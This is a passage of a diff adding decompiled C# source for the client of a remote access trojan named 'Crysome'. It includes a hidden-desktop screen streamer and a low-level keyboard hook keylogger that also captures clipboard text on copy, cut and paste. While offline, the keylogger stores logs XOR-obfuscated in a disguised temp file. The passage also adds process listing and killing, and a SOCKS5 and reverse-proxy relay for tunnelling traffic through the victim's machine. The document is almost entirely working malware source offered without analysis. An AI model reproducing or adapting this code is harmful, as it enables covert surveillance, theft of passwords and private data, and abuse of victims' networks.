if (array != null && array.Length != 0)
|
||||
{
|
||||
if (!_client.IsConnected)
|
||||
{
|
||||
break;
|
||||
}
|
||||
_client.SendHvncFrame(array);
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Program.Log("HVNC send: " + ex.Message);
|
||||
if (!_running)
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static void CaptureLoop()
|
||||
{
|
||||
ImageCodecInfo jpegCodec = GetJpegCodec();
|
||||
Stopwatch stopwatch = Stopwatch.StartNew();
|
||||
while (_running && _client != null && _imaging != null)
|
||||
{
|
||||
long elapsedMilliseconds = stopwatch.ElapsedMilliseconds;
|
||||
try
|
||||
{
|
||||
if (!_client.IsConnected)
|
||||
{
|
||||
break;
|
||||
}
|
||||
using Bitmap bitmap = _imaging.Screenshot();
|
||||
if (bitmap != null)
|
||||
{
|
||||
byte[] array = EncodeJpeg(bitmap, jpegCodec);
|
||||
if (array != null && array.Length != 0)
|
||||
{
|
||||
Interlocked.Exchange(ref _pendingFrame, array);
|
||||
try
|
||||
{
|
||||
_frameSem.Release();
|
||||
}
|
||||
catch (SemaphoreFullException)
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex2)
|
||||
{
|
||||
Program.Log("HVNC capture: " + ex2.Message);
|
||||
}
|
||||
long num = stopwatch.ElapsedMilliseconds - elapsedMilliseconds;
|
||||
int num2 = Math.Max(0, _intervalMs - (int)num);
|
||||
if (num2 > 0)
|
||||
{
|
||||
Thread.Sleep(num2);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static ImageCodecInfo GetJpegCodec()
|
||||
{
|
||||
ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders();
|
||||
foreach (ImageCodecInfo imageCodecInfo in imageEncoders)
|
||||
{
|
||||
if (imageCodecInfo.FormatID == ImageFormat.Jpeg.Guid)
|
||||
{
|
||||
return imageCodecInfo;
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private static byte[] EncodeJpeg(Bitmap bmp, ImageCodecInfo codec)
|
||||
{
|
||||
if (codec == null)
|
||||
{
|
||||
using (MemoryStream memoryStream = new MemoryStream())
|
||||
{
|
||||
bmp.Save(memoryStream, ImageFormat.Jpeg);
|
||||
return memoryStream.ToArray();
|
||||
}
|
||||
}
|
||||
using MemoryStream memoryStream2 = new MemoryStream();
|
||||
using (EncoderParameters encoderParameters = new EncoderParameters(1))
|
||||
{
|
||||
encoderParameters.Param[0] = new EncoderParameter(Encoder.Quality, _quality);
|
||||
bmp.Save(memoryStream2, codec, encoderParameters);
|
||||
}
|
||||
return memoryStream2.ToArray();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,386 @@
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
using Crysome.Client.Util;
|
||||
using Crysome.Common.Network;
|
||||
using Crysome.Common.Network.Packets;
|
||||
using Crysome.Common.Network.Packets.Client;
|
||||
|
||||
namespace Crysome.Client.Handlers;
|
||||
|
||||
public static class KeyloggerHandlers
|
||||
{
|
||||
private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
|
||||
|
||||
private struct MSG
|
||||
{
|
||||
public IntPtr hwnd;
|
||||
|
||||
public uint message;
|
||||
|
||||
public IntPtr wParam;
|
||||
|
||||
public IntPtr lParam;
|
||||
|
||||
public uint time;
|
||||
|
||||
public POINT pt;
|
||||
}
|
||||
|
||||
private struct POINT
|
||||
{
|
||||
public int X;
|
||||
|
||||
public int Y;
|
||||
}
|
||||
|
||||
private struct KBDLLHOOKSTRUCT
|
||||
{
|
||||
public uint vkCode;
|
||||
|
||||
public uint scanCode;
|
||||
|
||||
public uint flags;
|
||||
|
||||
public uint time;
|
||||
|
||||
public IntPtr dwExtraInfo;
|
||||
}
|
||||
|
||||
private static volatile bool _running;
|
||||
|
||||
private static CrysomeClient _client;
|
||||
|
||||
private static IntPtr _hookId = IntPtr.Zero;
|
||||
|
||||
private static readonly object _lock = new object();
|
||||
|
||||
private static readonly StringBuilder _buffer = new StringBuilder();
|
||||
|
||||
private static DateTime _lastSend = DateTime.MinValue;
|
||||
|
||||
private const int FlushIntervalMs = 2000;
|
||||
|
||||
private const int MaxBufferChars = 500;
|
||||
|
||||
private static readonly string _offlineFilePath = Path.Combine(Path.GetTempPath(), "Msvcrtd86_tmp.log");
|
||||
|
||||
private const byte XorKey = 167;
|
||||
|
||||
private const int WH_KEYBOARD_LL = 13;
|
||||
|
||||
private const int WM_KEYDOWN = 256;
|
||||
|
||||
private const int WM_KEYUP = 257;
|
||||
|
||||
private const int WM_SYSKEYDOWN = 260;
|
||||
|
||||
private const int WM_SYSKEYUP = 261;
|
||||
|
||||
private static volatile bool _ctrlDown;
|
||||
|
||||
private const uint LLKHF_INJECTED = 16u;
|
||||
|
||||
private const int VK_CONTROL = 17;
|
||||
|
||||
private const int VK_LCONTROL = 162;
|
||||
|
||||
private const int VK_RCONTROL = 163;
|
||||
|
||||
private const uint PM_REMOVE = 1u;
|
||||
|
||||
private static LowLevelKeyboardProc _proc = HookCallback;
|
||||
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
|
||||
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
|
||||
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
|
||||
|
||||
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
private static extern IntPtr GetModuleHandle(string lpModuleName);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern bool PeekMessage(out MSG lpMsg, IntPtr hWnd, uint wMsgFilterMin, uint wMsgFilterMax, uint wRemoveMsg);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern bool TranslateMessage(ref MSG lpMsg);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern IntPtr DispatchMessage(ref MSG lpMsg);
|
||||
|
||||
public static void HandleStartKeylogger(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
lock (_lock)
|
||||
{
|
||||
if (!_running)
|
||||
{
|
||||
_client = client;
|
||||
_running = true;
|
||||
_ctrlDown = false;
|
||||
_buffer.Clear();
|
||||
Thread thread = new Thread(RunHook);
|
||||
thread.IsBackground = true;
|
||||
thread.Start();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static void HandleStopKeylogger(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
lock (_lock)
|
||||
{
|
||||
_running = false;
|
||||
if (_hookId != IntPtr.Zero)
|
||||
{
|
||||
UnhookWindowsHookEx(_hookId);
|
||||
_hookId = IntPtr.Zero;
|
||||
}
|
||||
FlushBuffer();
|
||||
}
|
||||
}
|
||||
|
||||
public static void UploadOfflineDataIfAny(CrysomeClient client)
|
||||
{
|
||||
//IL_0064: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_006e: Expected O, but got Unknown
|
||||
try
|
||||
{
|
||||
if (!File.Exists(_offlineFilePath))
|
||||
{
|
||||
return;
|
||||
}
|
||||
byte[] array = File.ReadAllBytes(_offlineFilePath);
|
||||
if (array != null && array.Length != 0)
|
||||
{
|
||||
for (int i = 0; i < array.Length; i++)
|
||||
{
|
||||
array[i] ^= 167;
|
||||
}
|
||||
string text = Encoding.UTF8.GetString(array);
|
||||
if (!string.IsNullOrWhiteSpace(text) && client != null && client.IsConnected)
|
||||
{
|
||||
client.SendPacket((IPacket)new OfflineKeylogDataPacket(text));
|
||||
File.Delete(_offlineFilePath);
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private static void RunHook()
|
||||
{
|
||||
try
|
||||
{
|
||||
using (Process process = Process.GetCurrentProcess())
|
||||
{
|
||||
using ProcessModule processModule = process.MainModule;
|
||||
_hookId = SetWindowsHookEx(13, _proc, GetModuleHandle(processModule.ModuleName), 0u);
|
||||
}
|
||||
if (_hookId == IntPtr.Zero)
|
||||
{
|
||||
Program.Log("Keylogger: SetWindowsHookEx failed");
|
||||
return;
|
||||
}
|
||||
try
|
||||
{
|
||||
while (_running)
|
||||
{
|
||||
MSG lpMsg;
|
||||
while (PeekMessage(out lpMsg, IntPtr.Zero, 0u, 0u, 1u))
|
||||
{
|
||||
TranslateMessage(ref lpMsg);
|
||||
DispatchMessage(ref lpMsg);
|
||||
}
|
||||
Thread.Sleep(20);
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
if (_hookId != IntPtr.Zero)
|
||||
{
|
||||
UnhookWindowsHookEx(_hookId);
|
||||
_hookId = IntPtr.Zero;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Program.Log("Keylogger: " + ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
|
||||
{
|
||||
if (nCode >= 0 && _running)
|
||||
{
|
||||
try
|
||||
{
|
||||
KBDLLHOOKSTRUCT kBDLLHOOKSTRUCT = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));
|
||||
if ((kBDLLHOOKSTRUCT.flags & 0x10) != 0)
|
||||
{
|
||||
return CallNextHookEx(_hookId, nCode, wParam, lParam);
|
||||
}
|
||||
int vkCode = (int)kBDLLHOOKSTRUCT.vkCode;
|
||||
bool flag = wParam == (IntPtr)256 || wParam == (IntPtr)260;
|
||||
if (wParam == (IntPtr)257)
|
||||
{
|
||||
_ = 1;
|
||||
}
|
||||
else
|
||||
_ = wParam == (IntPtr)261;
|
||||
if (vkCode == 17 || vkCode == 162 || vkCode == 163)
|
||||
{
|
||||
_ctrlDown = flag;
|
||||
return CallNextHookEx(_hookId, nCode, wParam, lParam);
|
||||
}
|
||||
if (flag)
|
||||
{
|
||||
if (_ctrlDown && (vkCode == 67 || vkCode == 86 || vkCode == 88))
|
||||
{
|
||||
string value = vkCode switch
|
||||
{
|
||||
86 => "PASTE",
|
||||
67 => "COPY",
|
||||
_ => "CUT",
|
||||
};
|
||||
string textTruncated = ClipboardSta.GetTextTruncated(400);
|
||||
lock (_buffer)
|
||||
{
|
||||
_buffer.Append(" [").Append(value).Append(":")
|
||||
.Append(textTruncated)
|
||||
.Append("] ");
|
||||
TryFlush();
|
||||
}
|
||||
return CallNextHookEx(_hookId, nCode, wParam, lParam);
|
||||
}
|
||||
if (!_ctrlDown)
|
||||
{
|
||||
char c = KeyToChar(vkCode);
|
||||
if (c != 0)
|
||||
{
|
||||
lock (_buffer)
|
||||
{
|
||||
_buffer.Append(c);
|
||||
TryFlush();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
return CallNextHookEx(_hookId, nCode, wParam, lParam);
|
||||
}
|
||||
|
||||
private static void TryFlush()
|
||||
{
|
||||
if (_buffer.Length >= 500 || (DateTime.Now - _lastSend).TotalMilliseconds >= 2000.0)
|
||||
{
|
||||
FlushBuffer();
|
||||
}
|
||||
}
|
||||
|
||||
private static char KeyToChar(int vk)
|
||||
{
|
||||
if (vk >= 48 && vk <= 57)
|
||||
{
|
||||
return (char)vk;
|
||||
}
|
||||
if (vk >= 65 && vk <= 90)
|
||||
{
|
||||
return (char)vk;
|
||||
}
|
||||
return vk switch
|
||||
{
|
||||
32 => ' ',
|
||||
13 => '\n',
|
||||
8 => '\b',
|
||||
9 => '\t',
|
||||
186 => ';',
|
||||
187 => '=',
|
||||
188 => ',',
|
||||
189 => '-',
|
||||
190 => '.',
|
||||
191 => '/',
|
||||
192 => '`',
|
||||
219 => '[',
|
||||
220 => '\\',
|
||||
221 => ']',
|
||||
222 => '\'',
|
||||
_ => '\0',
|
||||
};
|
||||
}
|
||||
|
||||
private static void FlushBuffer()
|
||||
{
|
||||
//IL_0064: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_006e: Expected O, but got Unknown
|
||||
string text;
|
||||
lock (_buffer)
|
||||
{
|
||||
if (_buffer.Length == 0)
|
||||
{
|
||||
return;
|
||||
}
|
||||
text = _buffer.ToString();
|
||||
_buffer.Clear();
|
||||
_lastSend = DateTime.Now;
|
||||
}
|
||||
try
|
||||
{
|
||||
CrysomeClient client = _client;
|
||||
if (client != null && client.IsConnected)
|
||||
{
|
||||
_client.SendPacket((IPacket)new KeylogDataPacket(text));
|
||||
}
|
||||
else
|
||||
{
|
||||
PersistOffline(text);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
try
|
||||
{
|
||||
PersistOffline(text);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static void PersistOffline(string data)
|
||||
{
|
||||
try
|
||||
{
|
||||
byte[] bytes = Encoding.UTF8.GetBytes(data);
|
||||
for (int i = 0; i < bytes.Length; i++)
|
||||
{
|
||||
bytes[i] ^= 167;
|
||||
}
|
||||
if ((File.Exists(_offlineFilePath) ? new FileInfo(_offlineFilePath).Length : 0) < 524288)
|
||||
{
|
||||
using (FileStream fileStream = new FileStream(_offlineFilePath, FileMode.Append, FileAccess.Write))
|
||||
{
|
||||
fileStream.Write(bytes, 0, bytes.Length);
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
using Crysome.Common.Network;
|
||||
using Crysome.Common.Network.Packets;
|
||||
using Crysome.Common.Network.Packets.Client;
|
||||
using Crysome.Common.Network.Packets.Server;
|
||||
|
||||
namespace Crysome.Client.Handlers;
|
||||
|
||||
public static class PingHandlers
|
||||
{
|
||||
public static void HandlePing(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0007: Expected O, but got Unknown
|
||||
//IL_000e: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0018: Expected O, but got Unknown
|
||||
PingRequestPacket val = (PingRequestPacket)packet;
|
||||
client.SendPacket((IPacket)new PingResponsePacket(val.ServerTick));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,150 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Drawing2D;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using Crysome.Common.Network;
|
||||
using Crysome.Common.Network.Packets;
|
||||
using Crysome.Common.Network.Packets.Client;
|
||||
using Crysome.Common.Network.Packets.Server;
|
||||
|
||||
namespace Crysome.Client.Handlers;
|
||||
|
||||
public static class ProcessHandlers
|
||||
{
|
||||
private const int MaxProcesses = 500;
|
||||
|
||||
private const int IconSizePx = 16;
|
||||
|
||||
private const uint PROCESS_QUERY_LIMITED_INFORMATION = 4096u;
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, int dwProcessId);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern bool CloseHandle(IntPtr hObject);
|
||||
|
||||
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
private static extern bool QueryFullProcessImageName(IntPtr hProcess, int dwFlags, StringBuilder lpExeName, ref int lpdwSize);
|
||||
|
||||
public static void HandleGetProcessList(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
//IL_0082: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0087: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0093: Expected O, but got Unknown
|
||||
//IL_004a: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0054: Expected O, but got Unknown
|
||||
List<ProcessListEntry> list = new List<ProcessListEntry>();
|
||||
try
|
||||
{
|
||||
foreach (Process item in Process.GetProcesses().Take(500))
|
||||
{
|
||||
try
|
||||
{
|
||||
string text = item.ProcessName ?? "";
|
||||
int id = item.Id;
|
||||
byte[] processIcon = GetProcessIcon(item);
|
||||
list.Add(new ProcessListEntry(text, id, processIcon));
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
finally
|
||||
{
|
||||
try
|
||||
{
|
||||
item.Dispose();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
}
|
||||
client.SendPacket((IPacket)new GetProcessListResponsePacket
|
||||
{
|
||||
Processes = list
|
||||
});
|
||||
}
|
||||
|
||||
public static void HandleKillProcess(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0007: Expected O, but got Unknown
|
||||
KillProcessRequestPacket val = (KillProcessRequestPacket)packet;
|
||||
try
|
||||
{
|
||||
Process.GetProcessById(val.Pid).Kill();
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private static byte[] GetProcessIcon(Process proc)
|
||||
{
|
||||
try
|
||||
{
|
||||
string processPath = GetProcessPath(proc.Id);
|
||||
if (string.IsNullOrEmpty(processPath) || !File.Exists(processPath))
|
||||
{
|
||||
return new byte[0];
|
||||
}
|
||||
using Icon icon = Icon.ExtractAssociatedIcon(processPath);
|
||||
if (icon == null)
|
||||
{
|
||||
return new byte[0];
|
||||
}
|
||||
using Bitmap bitmap = new Bitmap(16, 16);
|
||||
using Graphics graphics = Graphics.FromImage(bitmap);
|
||||
graphics.InterpolationMode = InterpolationMode.HighQualityBicubic;
|
||||
graphics.DrawIcon(icon, new Rectangle(0, 0, 16, 16));
|
||||
using MemoryStream memoryStream = new MemoryStream();
|
||||
bitmap.Save(memoryStream, ImageFormat.Png);
|
||||
return memoryStream.ToArray();
|
||||
}
|
||||
catch
|
||||
{
|
||||
return new byte[0];
|
||||
}
|
||||
}
|
||||
|
||||
private static string GetProcessPath(int pid)
|
||||
{
|
||||
try
|
||||
{
|
||||
using Process process = Process.GetProcessById(pid);
|
||||
return process.MainModule?.FileName;
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
StringBuilder stringBuilder = new StringBuilder(1024);
|
||||
IntPtr intPtr = OpenProcess(4096u, bInheritHandle: false, pid);
|
||||
if (intPtr == IntPtr.Zero)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
try
|
||||
{
|
||||
int lpdwSize = stringBuilder.Capacity;
|
||||
if (QueryFullProcessImageName(intPtr, 0, stringBuilder, ref lpdwSize))
|
||||
{
|
||||
return stringBuilder.ToString();
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
CloseHandle(intPtr);
|
||||
}
|
||||
return null;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,315 @@
|
||||
using System;
|
||||
using System.Collections.Concurrent;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Net;
|
||||
using System.Net.Sockets;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
using Crysome.Common.Network;
|
||||
using Crysome.Common.Network.Packets;
|
||||
using Crysome.Common.Network.Packets.Client;
|
||||
using Crysome.Common.Network.Packets.Server;
|
||||
|
||||
namespace Crysome.Client.Handlers;
|
||||
|
||||
public static class ProxyHandlers
|
||||
{
|
||||
private static TcpListener _socksListener;
|
||||
|
||||
private static volatile bool _running;
|
||||
|
||||
private static CrysomeClient _serverClient;
|
||||
|
||||
private static volatile bool _reverseProxyMode;
|
||||
|
||||
private static readonly ConcurrentDictionary<int, ReverseProxyStream> _reverseProxyStreams = new ConcurrentDictionary<int, ReverseProxyStream>();
|
||||
|
||||
public static void HandleStartProxy(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_00f3: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_00fd: Expected O, but got Unknown
|
||||
//IL_001d: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0027: Expected O, but got Unknown
|
||||
//IL_0038: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0042: Expected O, but got Unknown
|
||||
//IL_00d4: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_00de: Expected O, but got Unknown
|
||||
_ = (StartProxyRequestPacket)packet;
|
||||
_serverClient = client;
|
||||
if (_reverseProxyMode)
|
||||
{
|
||||
client.SendPacket((IPacket)new ProxyStatusResponsePacket(true, "Reverse proxy active"));
|
||||
return;
|
||||
}
|
||||
if (_running)
|
||||
{
|
||||
client.SendPacket((IPacket)new ProxyStatusResponsePacket(true, "Proxy already running"));
|
||||
return;
|
||||
}
|
||||
try
|
||||
{
|
||||
_socksListener = new TcpListener(IPAddress.Loopback, 0);
|
||||
_socksListener.Start();
|
||||
int port = ((IPEndPoint)_socksListener.LocalEndpoint).Port;
|
||||
_running = true;
|
||||
Program.Log("SOCKS5 proxy started on port " + port);
|
||||
Thread thread = new Thread((ThreadStart)delegate
|
||||
{
|
||||
AcceptLoop();
|
||||
});
|
||||
thread.IsBackground = true;
|
||||
thread.Start();
|
||||
client.SendPacket((IPacket)new ProxyStatusResponsePacket(true, "Proxy active on port " + port));
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
client.SendPacket((IPacket)new ProxyStatusResponsePacket(false, "Failed: " + ex.Message));
|
||||
}
|
||||
}
|
||||
|
||||
public static void HandleStartReverseProxy(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0007: Expected O, but got Unknown
|
||||
//IL_00b5: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_00bf: Expected O, but got Unknown
|
||||
StartReverseProxyPacket val = (StartReverseProxyPacket)packet;
|
||||
_running = false;
|
||||
try
|
||||
{
|
||||
_socksListener?.Stop();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
_socksListener = null;
|
||||
KeyValuePair<int, ReverseProxyStream>[] array = _reverseProxyStreams.ToArray();
|
||||
for (int i = 0; i < array.Length; i++)
|
||||
{
|
||||
KeyValuePair<int, ReverseProxyStream> keyValuePair = array[i];
|
||||
keyValuePair.Value.CloseFromRemote();
|
||||
_reverseProxyStreams.TryRemove(keyValuePair.Key, out var _);
|
||||
}
|
||||
_reverseProxyMode = true;
|
||||
_serverClient = client;
|
||||
Program.Log("Reverse proxy mode: use 127.0.0.1:" + val.ServerPort + " on the server");
|
||||
client.SendPacket((IPacket)new ProxyStatusResponsePacket(true, "Reverse proxy ready on 127.0.0.1:" + val.ServerPort));
|
||||
}
|
||||
|
||||
public static void HandleStopProxy(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
//IL_007d: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0087: Expected O, but got Unknown
|
||||
_running = false;
|
||||
_reverseProxyMode = false;
|
||||
try
|
||||
{
|
||||
_socksListener?.Stop();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
_socksListener = null;
|
||||
KeyValuePair<int, ReverseProxyStream>[] array = _reverseProxyStreams.ToArray();
|
||||
for (int i = 0; i < array.Length; i++)
|
||||
{
|
||||
KeyValuePair<int, ReverseProxyStream> keyValuePair = array[i];
|
||||
keyValuePair.Value.CloseFromRemote();
|
||||
_reverseProxyStreams.TryRemove(keyValuePair.Key, out var _);
|
||||
}
|
||||
Program.Log("SOCKS5 proxy stopped");
|
||||
client.SendPacket((IPacket)new ProxyStatusResponsePacket(false, "Proxy stopped"));
|
||||
}
|
||||
|
||||
public static void HandleReverseProxyStart(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
//IL_000e: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0014: Expected O, but got Unknown
|
||||
ReverseProxyStartPacket val = (ReverseProxyStartPacket)packet;
|
||||
int connId = val.ConnectionId;
|
||||
ReverseProxyStream stream = new ReverseProxyStream(delegate(byte[] data)
|
||||
{
|
||||
//IL_000d: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0017: Expected O, but got Unknown
|
||||
try
|
||||
{
|
||||
client.SendPacket((IPacket)new ReverseProxyDataPacket(connId, data));
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
});
|
||||
if (!_reverseProxyStreams.TryAdd(connId, stream))
|
||||
{
|
||||
stream.CloseFromRemote();
|
||||
return;
|
||||
}
|
||||
Thread thread = new Thread((ThreadStart)delegate
|
||||
{
|
||||
//IL_0043: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_004d: Expected O, but got Unknown
|
||||
try
|
||||
{
|
||||
HandleSocksClientFromStream(stream, connId, client);
|
||||
}
|
||||
finally
|
||||
{
|
||||
_reverseProxyStreams.TryRemove(connId, out var _);
|
||||
stream.CloseFromRemote();
|
||||
try
|
||||
{
|
||||
client.SendPacket((IPacket)new ReverseProxyEndPacket(connId));
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
});
|
||||
thread.IsBackground = true;
|
||||
thread.Start();
|
||||
}
|
||||
|
||||
public static void HandleReverseProxyData(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0007: Expected O, but got Unknown
|
||||
ReverseProxyDataPacket val = (ReverseProxyDataPacket)packet;
|
||||
if (_reverseProxyStreams.TryGetValue(val.ConnectionId, out var value))
|
||||
{
|
||||
value.Push(val.Data);
|
||||
}
|
||||
}
|
||||
|
||||
public static void HandleReverseProxyEnd(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0007: Expected O, but got Unknown
|
||||
ReverseProxyEndPacket val = (ReverseProxyEndPacket)packet;
|
||||
if (_reverseProxyStreams.TryRemove(val.ConnectionId, out var value))
|
||||
{
|
||||
value.CloseFromRemote();
|
||||
}
|
||||
}
|
||||
|
||||
private static void AcceptLoop()
|
||||
{
|
||||
while (_running)
|
||||
{
|
||||
try
|
||||
{
|
||||
TcpClient inbound = _socksListener.AcceptTcpClient();
|
||||
Thread thread = new Thread((ThreadStart)delegate
|
||||
{
|
||||
HandleSocksClient(inbound);
|
||||
});
|
||||
thread.IsBackground = true;
|
||||
thread.Start();
|
||||
}
|
||||
catch
|
||||
{
|
||||
if (!_running)
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static void HandleSocksClient(TcpClient inbound)
|
||||
{
|
||||
try
|
||||
{
|
||||
HandleSocksClientFromStream(inbound.GetStream(), -1, null);
|
||||
inbound.Close();
|
||||
}
|
||||
catch
|
||||
{
|
||||
try
|
||||
{
|
||||
inbound.Close();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static void HandleSocksClientFromStream(Stream stream, int connectionId, CrysomeClient client)
|
||||
{
|
||||
try
|
||||
{
|
||||
byte[] array = new byte[256];
|
||||
if (stream.Read(array, 0, array.Length) < 2 || array[0] != 5)
|
||||
{
|
||||
return;
|
||||
}
|
||||
stream.Write(new byte[2] { 5, 0 }, 0, 2);
|
||||
if (stream.Read(array, 0, array.Length) >= 7 && array[0] == 5 && array[1] == 1)
|
||||
{
|
||||
string text = "";
|
||||
int port = 0;
|
||||
if (array[3] == 1)
|
||||
{
|
||||
text = array[4] + "." + array[5] + "." + array[6] + "." + array[7];
|
||||
port = (array[8] << 8) | array[9];
|
||||
}
|
||||
else if (array[3] == 3)
|
||||
{
|
||||
int num = array[4];
|
||||
text = Encoding.ASCII.GetString(array, 5, num);
|
||||
port = (array[5 + num] << 8) | array[6 + num];
|
||||
}
|
||||
else if (array[3] == 4)
|
||||
{
|
||||
return;
|
||||
}
|
||||
Program.Log("SOCKS5 connect: " + text + ":" + port);
|
||||
TcpClient tcpClient = new TcpClient();
|
||||
tcpClient.Connect(text, port);
|
||||
byte[] array2 = new byte[10] { 5, 0, 0, 1, 0, 0, 0, 0, 0, 0 };
|
||||
stream.Write(array2, 0, array2.Length);
|
||||
NetworkStream remoteStream = tcpClient.GetStream();
|
||||
Thread thread = new Thread((ThreadStart)delegate
|
||||
{
|
||||
Relay(stream, remoteStream);
|
||||
})
|
||||
{
|
||||
IsBackground = true
|
||||
};
|
||||
Thread obj = new Thread((ThreadStart)delegate
|
||||
{
|
||||
Relay(remoteStream, stream);
|
||||
})
|
||||
{
|
||||
IsBackground = true
|
||||
};
|
||||
thread.Start();
|
||||
obj.Start();
|
||||
thread.Join();
|
||||
obj.Join();
|
||||
tcpClient.Close();
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private static void Relay(Stream from, Stream to)
|
||||
{
|
||||
try
|
||||
{
|
||||
byte[] array = new byte[8192];
|
||||
int count;
|
||||
while ((count = from.Read(array, 0, array.Length)) > 0)
|
||||
{
|
||||
to.Write(array, 0, count);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
